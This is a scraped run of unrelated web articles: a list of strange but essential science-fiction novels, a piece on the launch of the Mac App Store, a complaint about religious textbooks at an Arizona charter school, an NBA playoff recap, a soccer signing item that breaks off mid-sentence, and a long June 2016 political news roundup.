Why It’s Weird: The most famous feature of the three novels in Lilith’s Brood is the Oankali, an alien race which has three sexes - male, female and ooloi. Their goal is to replace the human race with human-Oankali hybrids after a massive near-genocide has almost wiped out humanity. The main character, Lilith, is a human who spends most of her time among the Oankali, and eventually sides with them against humans. Mating is probably where it gets weirdest. All three sexes are necessary for reproduction. The ooloi take genetic material directly from the bodies of the other two partners as needed to create new life; although the female stores the child in her body, she doesn’t have a uterus, and the baby will exit through a random location after about 14-15 months.
Why It’s Required: Lilith’s Brood was written by multiple Nebula- and Hugo-winning author Octavia Butler. It’s taught in college classes, and often appears on lists of the best science fiction and fantasy books of all time. We recently interviewed the producer who’s trying to turn it into a TV series.
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9) The Mount by Carol Emshwiller
Why It’s Weird: In the world of the novel, humans are used as riding mounts for an alien race called the Hoots. And most of them are pretty cool with it. As we wrote back in 2007, “Hoots have weak legs that fit perfectly around human necks, as well as superior weapons that easily convert the disobedient to dust. What’s compelling about this beautifully-written novel, though, is that it’s no simple “aliens oppress humans” tale. It explores what happens when humans get used to, and even enjoy, their servitude.”
Why It’s Required: It won the 2002 Philip K. Dick Award and was nominated for the 2003 Nebula Award for Best Novel.
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10) The Gone-Away World by Nick Harkaway
Why It’s Weird: Bombs in this world attack matter by “removing information” from it. This process causes the matter to disappear entirely, and is supposed to represent a “clean” weapons system without the radiation side effects of previous powerful weapons. However, the bombs do leave behind their own waste, referred to as “stuff,” that floats around the world in giant storms. When these storms come in contact with the noosphere, they take the form of whatever the nearest person is thinking about, resulting in horrific apparitions and “new” people popping out of nowhere. In the post-war world that constitutes the novel’s present, this “stuff” is kept at bay with whatever comes out of the Jorgmund pipe.
Why It’s Required: It was nominated for a 2009 Locus Award for Best First Novel and a BSFA Award for Best Novel.
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Charlie Jane Anders is the author of All The Birds in the Sky, coming in January from Tor Books. Follow her on Twitter, and email her. A version of this article first appeared in 2012.The Mac App Store is going to be huge. Sure, you look at it now and see that it’s largely populated with a lot of apps you don’t want and will never want. But there are already quite a few gems (namely some key games) on day one. And the smooth execution of how it works makes it very clear that this is the future of software distribution for the Mac platform. And some of those apps themselves also speak to the future of the platform.
It’s no accident that Apple baked the Mac App Store directly into OS X rather than making it a stand-alone app. Apple clearly means for every Mac user to eventually have it. In a way, you could almost think of it as really the first feature of OS X Lion, we’re just getting it a few months early. And why not? If Apple realized they could make it work with OS X Snow Leopard, why force all users to upgrade to get access to it?
Apple will continue to sell software from their Apple stores, but the selection will dwindle over time. It will start with the Apple-made apps — the key pieces are in the Mac App Store on day one. The other big Mac app publishers will eventually get on board because they won’t be able to turn down this new built-in distribution channel.
But there’s something deeper going on here. Look at the two most popular apps right now: Twitter for Mac (free) and Angry Birds (paid). Twitter looks more like an iPad app than a Mac app. Gone is the dated “Aqua” user interface that most Mac apps still carry. It has been replaced by a sleek, black and gray UI. It’s something that seems to look a bit like what people originally thought a new “Marble” interface could look like.
Gone are the light blue scroll bars. Instead, Twitter has a light gray scroll bar that seems to blend into the side of the app. It looks a bit like the latest version of iPhoto and QuickTime. And that’s probably not an accident. This should be closer to what more OS X apps start looking like starting with Lion. At least I hope that’s the case — it looks great.
Angry Birds points to something a bit different. You open the app and you have no choice but to go full screen. This is another feature touted in OS X Lion, full-screen apps. And it’s something Apple has learned from apps on the iPad, and is borrowing. Windows are being shut — or rather, fully opened.
This full screen experience allows you to navigate the app more easily with touch. Yes, you can use your mouse to play the game, but it’s a much better and more seamless experience if you have a Magic Trackpad (or a MacBook trackpad). It’s just like a bigger version of the iPhone/iPad game.
You swipe your finger to pull back the bird and let go to fire. To bring up the menu, you swipe three fingers down. To zoom in or out, you pinch. To move the view to the right or left, you use two fingers. We’re seeing the shift to touch on the desktop happening before our eyes with apps like this. It’s no longer going to be point-and-click but flick-and-swipe.
And Angry Birds isn’t alone there. Other apps that were iOS-first, like Flight Control, also utilize the Magic Trackpad if you have one for a touch experience. Or if you have a MacBook, you’re set to go with the trackpad on those.
These are the new breed of apps that I suspected we might see in the Mac App Store. They’re apps that were iOS first, but now are moving to the Mac. They’re sort of micro-apps that are built around a touch experience and ported to the Mac with the help of the trackpad and a virtual cursor. Games are the first to come, but there will be others. And there will be many new hybrids.
Using the Mac App Store for the past few hours, my overall thought is: how did Apple not do this sooner? You click to download an app and it’s done. No tricky installation needed. And you hop on to a different machine and can re-download any app you’ve already bought. Updates are all centralized. And I’ve probably spent more today on apps than I have in the past year total.
Now just imagine when the apps get really good. And when some of these hybrid ones I’m talking about start hitting the store. Yeah, the Mac App Store is going to be huge.A public charter school in Mesa, Ariz., violated the Constitution by using sectarian books as history textbooks for high school students, Americans United for Separation of Church and State says.
In a letter submitted to the Arizona State Board for Charter Schools on Tuesday, the group argued that The 5,000 Year Leap and The Making of America, both by W. Cleon Skousen, teach debunked “Christian nation” history in addition to sexist, racist and anti-Semitic messages.
The tomes are used in senior history/government classes at Heritage Academy, a tax-funded charter school in Mesa.
"These books push ‘Christian nation’ propaganda and other religious teachings on impressionable, young students,” said Alex J. Luchenitser, associate legal director of Americans United. “They have no place in a public school curriculum.”
AU’s letter cites specific examples from each book.
“Reading the text of The 5,000 Year Leap easily demonstrates that the book does not merely acknowledge the influence of religion in the nation’s founding, but actively promotes and endorses specific religious views and ideologies,” the letter reads. “For example, the fifth of twenty-eight principles taught by the book is that ‘All Things Were Created by God, Therefore upon Him All Mankind are Equally Dependent, and to Him They are Equally Responsible.’”
In a section promoting “God’s law,” the book asserts, “For the purpose of order, the man was given the decision-making responsibilities for the family; and therefore when he voted in political elections, he not only cast a ballot for himself, but also for his wife and children.” The second book fared little better. “As in The 5,000 Year Leap, Skousen includes an analysis of the Founders’ ‘fascinat[ion]’ with Ancient Israel and tells the story of Exodus as if it is fact, citing heavily to the Bible,” the letter said of The Making of America. “He also repeats his claim that ‘the soundest system of government will be the one that is built on the principles of natural law and Nature’s God.’”The letter asks that Heritage Academy immediately remove the books from its curriculum, and that its charter be revoked if it does not comply. It requests a response within 30 days.
Americans United initially wrote the State Board and Heritage Academy about the textbooks late last year. In response, the school argued that the books merely taught students about religious influences on the nation’s founding. Today’s letter debunks that defense in great detail.
Americans United Legal Fellow Yael Bortnick and Luchenitser prepared the letter, with input from AU Legal Director Ayesha N. Khan.Thunder Outlast San Antonio Spurs in Game 2; Tie Series at 1-1
Monday night in San Antonio, the Oklahoma City Thunder drew the series even at one game-a-piece with a tight 98-97 win. Russell Westbrook had 29 points and 10 assists, while Kevin Durant added 28 points.
After getting blown out by 32 in game 1, OKC responded by jumping out to an early lead. After their previous slow start, it was clear that a sense of urgency to start the game was a point of emphasis from coach Billy Donovan.
Despite shooting poorly to start the game, the Spurs managed to weather the storm a bit with some timely 3’s from Patty Mills and Danny Green to get within 3 towards the end of the first quarter. The Thunder finished with an 8 point advantage after one and that lead was trimmed to 3 at the half.
The big man for San Antonio, LaMarcus Aldridge, carried the team in the first half and finished with a monster stat line of 41 points, 8 rebounds, and 3 assists. More impressive were his shooting totals, going 15/21 from the field and 10/10 from the line as he dominated whoever was guarding him, including normally stout defender Serge Ibaka. This game was tight all the way, following the early runs by both teams. They headed to the 4th quarter separated by just one point.
The Controversy Begins
This game will be remembered for the crazy sequence in the final seconds. With Oklahoma City up 98-97 with 13.5 seconds remaining and no timeouts, Dion Waiters was attempting to inbound the ball. He appeared to elbow Manu Ginobli to get the space needed to make the inbound pass. The refs did not call a foul and the ball was inbounded to Durant.
He was immediately stripped by Danny Green and Patty Mills attempted and missed a 3 pointer. Aldridge lost control after grabbing the air ball and Kawhi Leonard was unable to secure it before the buzzer sounded. In spite of the controversy, what matters most is that the Spurs lost just their second home game of the season and the series is now tied headed back to Oklahoma City.
Any time there is a controversial call or no call this late in a close game, people are going to be talking about it. It should have been an offensive foul and that sentiment was echoed by a referee after the game. They did not have a definitive answer of why it was not called except that “on the floor, we did not see a foul on the play.” Upon review, they admitted that a foul should have been called.
The bottom line though, is that San Antonio still had a shot at the end, but failed to score. It would’ve stung much worse if Durant had been fouled and hit two shots and then the Spurs had to rush an inbounds play in hopes of getting a shot at a tying 3. Champions don’t make excuses and you’ll hear none coming from this San Antonio team starting from the top on down. That’s just who they are and that’s why they’ve been so successful for so long.
They will regroup and come out stronger than before. Even with home court advantage, the Thunder better come out swinging or they could get knocked out of game 3 early on.
(Thunder Outlast San Antonio Spurs in Game 2)Kris Twardek, a graduate of the Ottawa South United Academy, has signed his first professional contract with the Millwall Lions soccer club based in New Cross, southeast London. The Lions play in the Football League Championship, the second tier of British soccer.
Twardek has spent the past 18 months in Millwall’s academy and has been playing regularly on the team’s under-21 squad. In a game this past week, Twardek, who is a striker, was taken off the field after being struck in the face and suffering a broken jaw.
Twardek, who turns 18 on March 8, left his Kinburn home in June 2013 to train with the Millwall under-18 team. Months after making the move, in an interview with the Citizen, he admitted that while the training was intense in London, it had done nothing to dampen his enthusiasm.
“I proved something to myself,” he says. “I can go training for four hours every day, repeated |
. (New York Times) The 2015 Jeep that killed “Star Trek” actor Anton Yelchin outside his L.A. home was a model that had been recalled by the company due to gearshift issues, leading drivers to accidently leave the car in neutral when they think it is safely in park. Early reports suggest this is what happened to Yelchin. (New York Times)
Corey Lewandowski is out of a job this morning. (Joe Raedle/Getty Images)
GETTING HIS ACT TOGETHER OR PICKING A SCAPEGOAT?
-- Trump fired his campaign manager, Corey Lewandowski, yesterday under pressure from his family and the RNC. From Philip Rucker, Jose A. DelReal and Sean Sullivan: “A Trump loyalist whose mantra was ‘Let Trump be Trump,’ Lewandowski chafed at suggestions that the candidate behave more presidentially. His departure consolidates power around veteran GOP operative and lobbyist Paul Manafort, Trump’s campaign chairman and senior strategist, who has been trying with limited success to professionalize the campaign. Lewandowski’s internal turf battles with Manafort were intense and at times paralyzed the campaign.” Five key details:
The manager’s relations with senior staff at the Republican National Committee had so deteriorated that RNC Chairman Reince Priebus implored Trump to make a change.
Lewandowski also ran afoul of Trump’s family, especially his daughter Ivanka and her husband, Jared Kushner, who convinced Trump he needed a centralized management structure for the general election.
Trump fired Lewandowski at a meeting Monday morning that was attended by the candidate’s adult children.
Lewandowski was then escorted from Trump Tower flanked by security guards.
He had urged Trump to name his VP pick early to try changing the narrative of the campaign, an idea the candidate disliked.
-- Michael Caputo, a communications and political adviser to Trump, resigned yesterday afternoon after sending the above tweet celebrating Lewandowski’s departure. He wrote in a resignation letter that the post “was too exuberant a reaction to this personnel move.”
How it’s playing –
-- “In some ways, Lewandowski’s story is the story of the Trump campaign,” Politico’s Kenneth Vogel and Ben Schreckinger argue: “The scrappy 42-year-old from the hardscrabble mill town of Lowell, Massachusetts, didn’t have any presidential campaign experience when he was plucked from relative obscurity to run Trump’s presidential campaign prior to its June 2015 launch. … Lewandowski quickly built a strong rapport with Trump by treating him with absolute reverence, unfailingly referring to him as ‘Mr. Trump’ or ‘Sir’ — even when Trump wasn’t around — and encouraging him to act on his bombastic instincts. But he’d grown increasingly reckless in his power struggles … And he’d already told associates more than once in the past few months that he was on the verge of quitting. So when he was informed he was being relieved of his once-dream job, Lewandowski didn’t argue. ‘The gloves had come off a while ago, and Corey spent a lot of energy fighting, which took away from the campaign,’ said one Lewandowski associate. He ‘was surrounded by enemies,’ the source added.”
-- Trump is getting defined in June, and it will be impossible for him to change perceptions of himself once they’ve gelled, Maggie Haberman says in The New York Times.
-- “Simply replacing Lewandowski won’t do anything to help the Trump campaign stop the slide if Trump does not have some kind of epiphany and come to realize that he is the root of his problems," writes Republican fixer Ed Rogers, on the PostPartisan blog. "So far, there is still no sign that Trump sees himself, what he thinks and how he expresses himself as the real problem.”
-- Lewandowski himself, however, painted a rosy portrait of the campaign during several surreal TV interviews after he was escorted out of Trump Tower, denying the campaign was beset by internal skirmishes and refusing to criticize Trump.
-- The Stop Trump movement now counts 400 delegates as allies, quickly transforming what began as an idea tossed around on social media into a force that could derail a national campaign,” Ed O'Keefe reports. “While organizers concede their plan could worsen internal party strife, they believe they are responding to deep-rooted concerns among conservatives about Trump. … ‘Short-term, yes, there’s going to be chaos,’ said Kendal Unruh, co-founder of the Free the Delegates movement. ‘Long-term this saves the party and we win the election. Everything has to go through birthing pains to birth something great.’ Unruh said her cause is winning support from ‘the non-rabble rousers. The rule-following, churchgoing grandmas who aren’t out protesting in the streets. This is the way they push back.’”
-- “A delegate revolt has become Republicans’ only option,” conservative columnist Michael Gerson argues in his column today.
MORE ON THE DONALD:
-- Trump will meet with nearly a thousand social conservative leaders this morning in New York City. Time Magazine's Elizabeth Dias previews: “What started as a closed-door gathering of 400 social conservative leaders to test Trump’s values has grown to a daylong conference of 1,000, involving nearly all the traditional political influencers of the religious right. For some, it is an effort to get Trump to better understand their policy positions. For others, it is a late-breaking effort to try to get the GOP’s most reliable voter base on board with its most polarizing candidate in decades.” Former Arkansas Gov. Mike Huckabee will moderate a Q&A session between leaders and Trump, and Jerry Falwell Jr. is expected to introduce Trump and give a series of remarks.Trump will also roll out an “Evangelical Executive Advisory Board," to include televangelist Paula White, James Dobson and Tony Suarez, per Bloomberg.
-- Trump walked back his suggestion that armed club-goers could have prevented the Orlando massacre, following heavy criticism from gun safety advocates and even the NRA: “When I said that if, within the Orlando club, you had some people with guns, I was obviously talking about additional guards or employees,” he tried to clarify Monday in a tweet. (Jose A. DelReal)
-- Joe Biden said Trump is "making religion the enemy” with his anti-Muslim rhetoric: “If we denigrate them, if we talk about them not being particularly useful and competent …. There’s 1.5 billion Muslims in the world,” he told CBS’s Charlie Rose. “If we make the religion the enemy, where the hell do you think we're going to get the cooperation?”
-- A man arrested at Trump's Las Vegas rally for trying to grab an officer’s gun told authorities he had been trying to assassinate the candidate. The 19-year-old, Michael Sandford, told officers he had been planning for “about a year” and was convinced he would die in the attempt, the AP reports. He said he also reserved a ticket for a Trump rally in Phoenix, scheduled for later in the day, as a backup. He told authorities that he went to the Battlefield Vegas shooting range the day before the rally and fired 20 rounds from a 9mm Glock pistol to learn how to use it. Employees at the range confirmed that.
Clinton poses with a fan -- donned in photos of her face -- after an Ohio campaign event. (AP /Andrew Harnik)
MORE ON THE DEMOCRATIC RACE:
-- Clinton will give a series of talks on the economy this week, delivering a one-two punch. Today she will paint Trump as “reckless and misguided” in his business practices. Tomorrow she will unveil her own proposals for the country. The speech will mirror the point-by-point attack she delivered on Trump’s foreign policy earlier this month, Anne Gearan reports. “The main themes of Clinton’s attack Tuesday will include Trump’s views on the national debt, tariffs and trade, his tax proposal, and opposition to raising the minimum wage. As with the national security argument, Clinton will try to use Trump’s own words against him." (Watch a video previewing the speech from the campaign here.)
“If we were to put Donald Trump behind the steering wheel of the American economy, he would be very likely to drive us off of a cliff,” said Clinton’s chief policy adviser Jake Sullivan, echoing an analogy likely to be employed by the presumptive Democratic nominee. “And working families would bear the brunt of that impact in terms of lost jobs, lost savings, lost livelihoods.” As she reframes her economic arguments head-to-head with Trump, Clinton is also speaking indirectly to supporters of Sanders.
-- Former Obama economic adviser Jacob Leibenluft joined the Clinton campaign, signaling close coordination between the president and HRC. Leibenluft, who has served on Obama’s economic team since 2008, has focused heavily on job training, apprenticeships and the minimum wage, says CNBC’s John Harwood.
Bernie Sanders departs his Capitol Hill house yesterday to walk with his wife Jane to his campaign headquarters. (Reuters/Jonathan Ernst)
-- Sanders returned to the Capitol yesterday and cast his first votes since JANUARY 2! From David Weigel: “Sanders cast his vote on the first of four gun safety amendments before most of his colleagues showed up, then ducked into the cloakroom. When he returned, he sat for a while with Sen. Jeff Merkley (D-Ore.), the only colleague who'd endorsed him, and the two were occasionally, happily interrupted by well-wishers of both parties."
Trump confers with Marco Rubio during the disastrous Feb. 6 debate in New Hampshire that essentially ended Rubio's 2016 presidential hopes. (Jewel Samad/AFP/Getty Images)
-- Coming attraction: Rubio told a Post reporter on his way out of the Capitol last night that his announcement about running for the Senate again is coming "sooner rather than later." But he would not say if he's made a decision or not. Multiple outlets have reported that he's almost certainly going to get in.
-- It is no secret that Rubio would really only run for reelection to the Senate because he has been persuaded that this is the best way to position himself for another presidential bid in 2020. The 45-year-old is in for some blistering attacks on this front in Florida. The Tampa Bay Times's Alex Leary offers a taste: "Rubio's ambition is one of the immediate challenges he’ll face if he goes forward with the plan. Would-be rival Carlos Beruff asked the million dollar question: 'The most important question for Marco Rubio to think about today as he decides whether to run for reelection: Are you willing to look the voters of Florida in the eye and commit to serving out an entire 6-year term in the U.S. Senate? Do you commit to not running for President in 2020? Do you pledge to truly serve the people of Florida by showing up to work and not missing votes or committee hearings?... If Rubio runs and refuses to make this pledge, the voters of Florida have a simple choice... do you want Marco Rubio, a career politician who will simply use the Senate as a launching pad for his future political ambitions?' Beruff and others have begun to compare Rubio to his 2010 nemesis Charlie Crist."
The leader of the United Kingdom Independence Party (UKIP), Nigel Farage, speaks at a rally in Gateshead last night. (Scott Heppell/AFP/Getty Images)
THE LATEST ON THURSDAY'S BREXIT REFERENDUM:
-- “After killing resets the tone, a possible turning point," by Griff Witte and Karla Adam in London: “Britain’s march toward an exit from the E.U. appeared to be slowing Monday, and may have been halted altogether, as calls for a more civil tone in the bitterly fought debate sowed division among those who favor leaving the 28-member bloc. After a week in which polls showed a surge toward the ‘leave’ campaign, more recent surveys reflect a rebound for ‘remain.’ Markets cheered the news, with stocks surging globally, and particularly in Britain. The FTSE 100 closed up more than 3 percent, and the pound rose almost 2 percent against the dollar, one of its biggest one-day gains of the past decade.” To be sure, the poll averages show a dead heat. But investors are feeling growing confidence.
-- Pro-E.U forces are not explicitly politicizing the murder of British MP Jo Cox, as the Eurasia Group writes in a note for clients, but it provides “a subtle narrative" framed around the question: "Is this really who we want to be?"
-- The Brexit camp is in turmoil over whether advocates have gone too far in fanning anxiety over immigration. The xenophobic rhetoric has prompted some moderate Brexit supporters to reverse course in the final days. Former British minister Sayeeda Warsi announced she is now voting to remain. “The vision that the Brexit campaign is presenting is not the vision that me and other Brexiters started off with a year ago,” she said Monday. “The ‘hello world’ approach to Brexit, which is open-minded, visionary, inclusive, has been lost. The moderate message has been lost. And instead we have reverted to a campaign that says: ‘The Turks are coming, the Syrians are coming, the refugees are coming, the Muslims are coming, the terrorists are coming.’” (The Guardian)
-- Elsewhere in the E.U., elites are growing increasingly worried that a successful “Brexit” vote would trigger a stampede of exits from the 28-member union. From Michael Birnbaum and Anthony Faiola: “Euro-skeptics across the continent are salivating at the prospect of Britain’s departure, hoping to sever their own territories from a map that stretches from the sunny coasts of Portugal to the frigid taiga of Finland. With populist parties surging across the continent, the Brits could be only the first to leave.... At the moment, the list of countries that might consider bolting is relatively short: France, Denmark, the Netherlands and a handful of others. But experts say that could change quickly."
As the “leave” movement gained traction in Britain over weeks, poll numbers in other countries began to reflect the momentum: An Ipsos Mori poll last month found that 55 percent of French voters and 58 percent of Italian voters wanted plebiscites of their own.
Proponents of staying in the E.U. are struggling to mount arguments that appeal to the heart, not just the pocketbook: Part of the difficulty is that the bloc is now so large and diverse that there is no single, unifying selling point. “There is no European ideal that is clearly defined and on which all members would agree,” Latvia’s ambassador to the E.U. told The Post.
Ben Sasse back home in Nebraska (Benjamin Terris/The Washington Post)
WAPO HIGHLIGHTS:
-- “As the GOP’s anti-Trump, Ben Sasse picked a big fight. What would it mean to win?” by Ben Terris: “Today, freshman senator Ben Sasse of Nebraska remains the only Republican in the U.S. Senate who has consistently, and vocally, opposed his party’s nominee. [But] without a conservative third-party campaign, Sasse looks to some less like a warrior in the ring and more like an agitator in the stands … If Trump wins the presidency, he runs the risk of being ostracized. If Clinton wins, he could be blamed. Does he see a path that other conflicted Republicans can’t find? Is he positioning himself for a 2020 presidential run? Or, is it possible that Sasse is simply standing on principle, that he sees a fight worth having, even if it’s one he might lose?” “What is he doing?” Ben Nelson, Nebraska’s former Democratic governor and senator, mused recently. “There’s certainly all kinds of speculation about it.”
-- “What actually happens when Trump blacklists a reporter,” by Paul Farhi: A day after Trump revoked The Post’s credentials to cover his campaign last week, one of the newspaper’s reporters walked into his rally in Greensboro, N.C., and began reporting on it. “The only difference was that the reporter, Jenna Johnson, entered on a general-admission ticket, not a press pass. Johnson’s experience says much about the practical impact of Trump’s efforts to banish news organizations whose reporting has displeased him. [While] getting on Trump’s blacklist does present a few logistical hassles … the real objections to Trump’s actions from the press aren’t about the inconvenience; they’re about the seemingly undemocratic nature of his actions. ‘When I was in Moscow, Vladimir Putin’s Kremlin gave me credentials to cover his reelection campaign to a second term even after several years of critical coverage of his crackdown on Russian media and rollback of democratic reforms,’ said Susan Glasser, the editor of Politico. ‘It is just astonishing that something like this is happening in the United States.’”
-- “I reported Omar Mateen to the FBI. Trump is wrong that Muslims don’t do our part,” by Mohammed A. Malik: “Trump believes American Muslims are hiding something. ‘They know what’s going on. They know that [Mateen] was bad,’ he said after the Orlando massacre. This is a common idea in the U.S. It’s also a lie. First, Muslims like me can’t see into the hearts of other worshipers. (Do you know the hidden depths of everyone in your community?) Second, Trump is wrong that we don’t speak up when we’re able. I know this firsthand: I was the one who told the FBI about Omar Mateen. … I had told the FBI about Omar because my community, and Muslims generally, have nothing to hide. I love this country, like most Muslims that I know. I vote. I volunteer. I teach my children to treat all people kindly. Trump’s assertions about our community – that we have the ability to help our country but have simply declined to do so – are tragic, ugly and wrong.”
SOCIAL MEDIA SPEED READ:
— ZIGNAL VISUAL: This word cloud of all Trump mentions across social and traditional media shows how much yesterday was dominated by the Lewandowski news. A conventional campaign would dump this kind of news on a Friday night to minimize how much coverage it gets. Not Trump...
Some of the choicest reaction: From Michelle Fields, who filed assault charges against Lewandowski earlier this year after he grabbed her after a rally...
From a former Breitbart reporter, who resigned when the site took the Trump campaign's side over its own reporter:
Lewandowski will long be remembered in campaign circles for his hands-on style. — Ben Shapiro (@benshapiro) June 20, 2016
Finally this campaign can get back on track with Paul Manafort in charge, said the arms dealer holding a briefcase of cash. — Rory Cooper (@rorycooper) June 20, 2016
Firing Lewandowski = big move by @realDonaldTrump 2 overhaul campaign. But doesn't account 4 fact that Trump's been running show all along. — David M. Drucker (@DavidMDrucker) June 20, 2016
Don't feel bad for Corey. You know he's going to write a tell all book and get a nice check for it (which Donald will sue him for 😞) — Comfortably Smug (@ComfortablySmug) June 20, 2016
This image went viral:
Here's what Democrats and advocacy groups were saying about the Senate votes on guns:
Today, I’ll be voting to #DisarmHate. I hope all of my colleagues join me in taking action to address #gunviolence. pic.twitter.com/3k0MoeycNG — Sen. Al Franken (@SenFranken) June 20, 2016
Ashamed & disgusted that the Senate works for the @NRA & not the majority of Americans who support basic solutions to stop gun violence. — Elizabeth Warren (@SenWarren) June 20, 2016
Proof these #guncontrol proposals were about nothing more than pure politics. See Exhibit A: pic.twitter.com/j3zwKEGdrQ — NRA (@NRA) June 20, 2016
Elizabeth Warren and Ben Sasse exchanged tweets:
.@ChrisMurphyCT said it right: The @SenateGOP have decided to sell weapons to ISIS. — Elizabeth Warren (@SenWarren) June 20, 2016
This isn't true.
You know it isn't true.
But that probably doesn't matter for your political purposes. https://t.co/uYum6Qrocp — Ben Sasse (@BenSasse) June 20, 2016
Part of Sonia Sotomayor's dissent in a Fourth Amendment case went viral (check out The Post's video on her opinion here):
The Clintons went back to see their granddaughter:
Aidan, the 2nd grandchild of Bill & Hillary Clinton, has left the hospital. pic.twitter.com/gXXsw3ksou — Dan Merica (@danmericaCNN) June 20, 2016
The RNC congratulated the Cavaliers:
New RNC statement on Cavs' win ends "this team is just the first winner Cleveland will produce this summer!" pic.twitter.com/2yUy6izAdW — Kyle Griffin (@kylegriffin1) June 20, 2016
So did John Kasich:
Sherrod Brown showed his support:
I couldn't talk him out of it. Off to work you go, @SenSherrodBrown. #ALLin216 pic.twitter.com/IqX10nUXAb — Connie Schultz (@ConnieSchultz) June 20, 2016
Jeff Denham's daughter graduated from high school:
The scaffolding is finally coming down around the Capitol dome:
Finally, an evening shot of Air Force One:
Air Force One under a bright full moon. pic.twitter.com/2HjVc1Q60D — David Nakamura (@DavidNakamura) June 20, 2016
Reince Priebus arrives at Trump Tower on June 9 for a meeting with donors. (AP Photo/Bebeto Matthews)
GOOD READS FROM ELSEWHERE:
-- New York Times Magazine cover story, “Will Trump Swallow the G.O.P. Whole?” by Mark Leibovich: “As suits a man occupying what might be the toughest political job in America, (Reince) Priebus does his best to stay availed of serene distractions. He plays jazz piano at home late at night and gazes into the 29-gallon saltwater fish tank that he keeps next to his desk. “You see that big eel?” Priebus asked one day, pointing out a black slithery creature on the bottom, before noting others. The big orange clown fish flailed at front and center. I asked Priebus if it reminded him of anyone. … No matter how much Trump has roiled the Republican water, it remained Priebus’s job to carry it."
“Priebus is not a man for extraordinary measures. He is an organization man in a time of disruption, runaway self-esteem and selfie campaigns. Party guys go along. It’s not always a fair fight. ‘I think people are living in Fantasy Land,’ he said, not saying whether he shared in the fantasy. He was playing a role, the party guy, the proprietor of the china shop in the time of the bull. There was something oddly comforting to me about this presence, as thankless and unenviable as the life of Priebus might seem these days. What could be better for a lifer apparatchik? Priebus made a perfect old-school foil to a new politics of blazing chaos. ‘It could be a great moment or a bad moment,” Priebus told me. “But it’s going to be a moment.’”
-- Slate, “He’s Obsessed With Menstruation: Former Apprentice crew members on their old boss, Donald Trump,” by Seth Stevenson: “We know about Trump’s on-camera persona as the star of The Apprentice: his tyrannical management style, his gruff demeanor, his terse catchphrase. But what was Trump like between takes, when the cameras were off but the crew was watching? Slate reached out to find people who’d worked on The Apprentice during Trump’s tenure.” Turns out, his on-set behavior is a lot like his campaign behavior:
He frequently talked about the bodies of female contestants: “We shot in Trump Tower,” one midlevel producer recalled, “and he walked in one day and was talking about a contestant, saying, ‘Her breasts were so much bigger at the casting. Maybe she had her period then.’ He knows he’s mic’d and that 30 people are hearing this, but he didn’t care. That’s kind of him.”
“We shot in Trump Tower,” one midlevel producer recalled, “and he walked in one day and was talking about a contestant, saying, ‘Her breasts were so much bigger at the casting. Maybe she had her period then.’ He knows he’s mic’d and that 30 people are hearing this, but he didn’t care. That’s kind of him.” He likes to keep a fat guy around: “There was a fat contestant who was a buffoon and a [expletive],” recalls the producer. But Trump kept deciding to fire someone else. Later, I heard a producer talk to him, and Trump said, ‘Everybody loves a fat guy. People will watch if you have a funny fat guy around. Trust me, it’s good for ratings.’ I look at Chris Christie now and I swear that’s what’s happening.”
“There was a fat contestant who was a buffoon and a [expletive],” recalls the producer. But Trump kept deciding to fire someone else. Later, I heard a producer talk to him, and Trump said, ‘Everybody loves a fat guy. People will watch if you have a funny fat guy around. Trust me, it’s good for ratings.’ I look at Chris Christie now and I swear that’s what’s happening.” He knows how to manipulate an audience: “He was always a narcissist, you can see that,” says Bill Pruitt, producer on Seasons 1 and 2. “You could see how keenly aware Trump became of the story he was telling as it was shaped by the producers around him … Reality TV is the public pillory now, the grand coliseum where we give the big thumbs up or thumbs down. And it shaped him.”
HOT ON THE LEFT: “Pastor harassed over sign supporting Muslims,” from the York Daily News: “A Dallastown pastor said his church has received hangup phone calls after a Spring Grove Area school board member (who also happens to be an elected Trump delegate to the national convention) took issue with the church's sign wishing a blessed Ramadan to its Muslim neighbors and posted a photo of the sign on social media. Matthew Jansen... left a message on the Rev. Christopher Rodkey's voicemail last weekend that he was shocked to see the sign in front of St. Paul's United Church of Christ. Rodkey said he posted the message on the sign because he thinks Muslims in the community are the favored scapegoat of the religious right. ‘This is a church that is interested in religious tolerance,’ he said.” HOT ON THE RIGHT: “Obama Will Finally Own Up to Drone War Dead,” from the Daily Beast: “The White House is finally releasing figures about how many innocents have died in U.S. drone attacks. But the claim of only 100 or so civilians slain seems almost laughably low. Obama is expected to issue an executive order as early as next week that for the first time would call for the U.S. annually to disclose how many civilians it believes it has killed in its airstrikes … The administration will announce that since Jan. 20, 2009, it believes airstrikes have killed roughly 100 civilians in countries including Yemen, Pakistan, Libya and Somalia, according to one defense official."
DAYBOOK:
On the campaign trail: Clinton is in Hampton Roads, Va. and Columbus, Ohio. She will meet with House Democrats in D.C. tomorrow.
At the White House: Obama visits the Walter Reed National Military Medical Center. Vice President Biden travels to Dublin, Ireland, for meetings with Taoiseach Enda Kenny and President Michael Higgins.
On Capitol Hill: The Senate meets at 10 a.m. to resume work on the Commerce, Justice, Science Appropriations bill. The House meets at 2 p.m. for legislative business, with 22 suspension votes expected around 6:30 p.m.
QUOTE OF THE DAY: “The next president, whoever he or she — most likely she — is going to be, needs to get these defense cuts set aside.” – Lindsey Graham (Politico)
NEWS YOU CAN USE IF YOU LIVE IN D.C.:
-- Some humidity and thunderstorms are on radar for this afternoon, the Capital Weather Gang forecasts: “A cool front sinks south across the area, offering scattered showers this morning followed by a break — maybe some sunshine? — and then a few thunderstorms this afternoon. Some of these storms could be strong or even severe, and they could produce locally heavy rain. High temperatures climb into the middle to upper 80s along with moderate humidity.”
-- The Nationals lost to the L.A. Dodgers 4-1.
-- A Loudoun County jury convicted former Ashburn IT executive Braulio Castillo of first degree murder, finding him guilty for killing his estranged wife in 2014 and then staging it as a suicide. (Tom Jackman)
-- “Kane Show” radio host Peter Deibler (on 99.5) was arrested in Maryland after his soon-to-be ex-wife accused him of second-degree assault. According to a protective order petition, Deibler reportedly grabbed her and threw her into a wall, resulting in a sprained knee, head injury, bruises and a black eye. (Emily Heil and Dan Morse)
-- Testimony has concluded in the trial of Caesar Goodson Jr., a former Baltimore police officer, in connection with the death of Freddie Gray. Goodson, who faces the most severe charges out of six officers, is expected to receive a verdict from the judge later this week. (Lynh Bui and Derek Hawkins)
VIDEOS OF THE DAY:
Police released the 911 audio from the fatal Disney alligator attack:
The White House released a 3-minute highlight reel of Obama's trip to Yosemite:
Journalists are laughing at this terrible HR video provided to employees of Tronc, formerly Tribune Publishing (it is not a parody):
This, though, is much worse. A bank manager in China beat some of his employees on stage, as other staffers were forced to watch, because they did not meet expectations:
Murdered MP Jo Cox received a standing ovation in Britain's House of Commons:
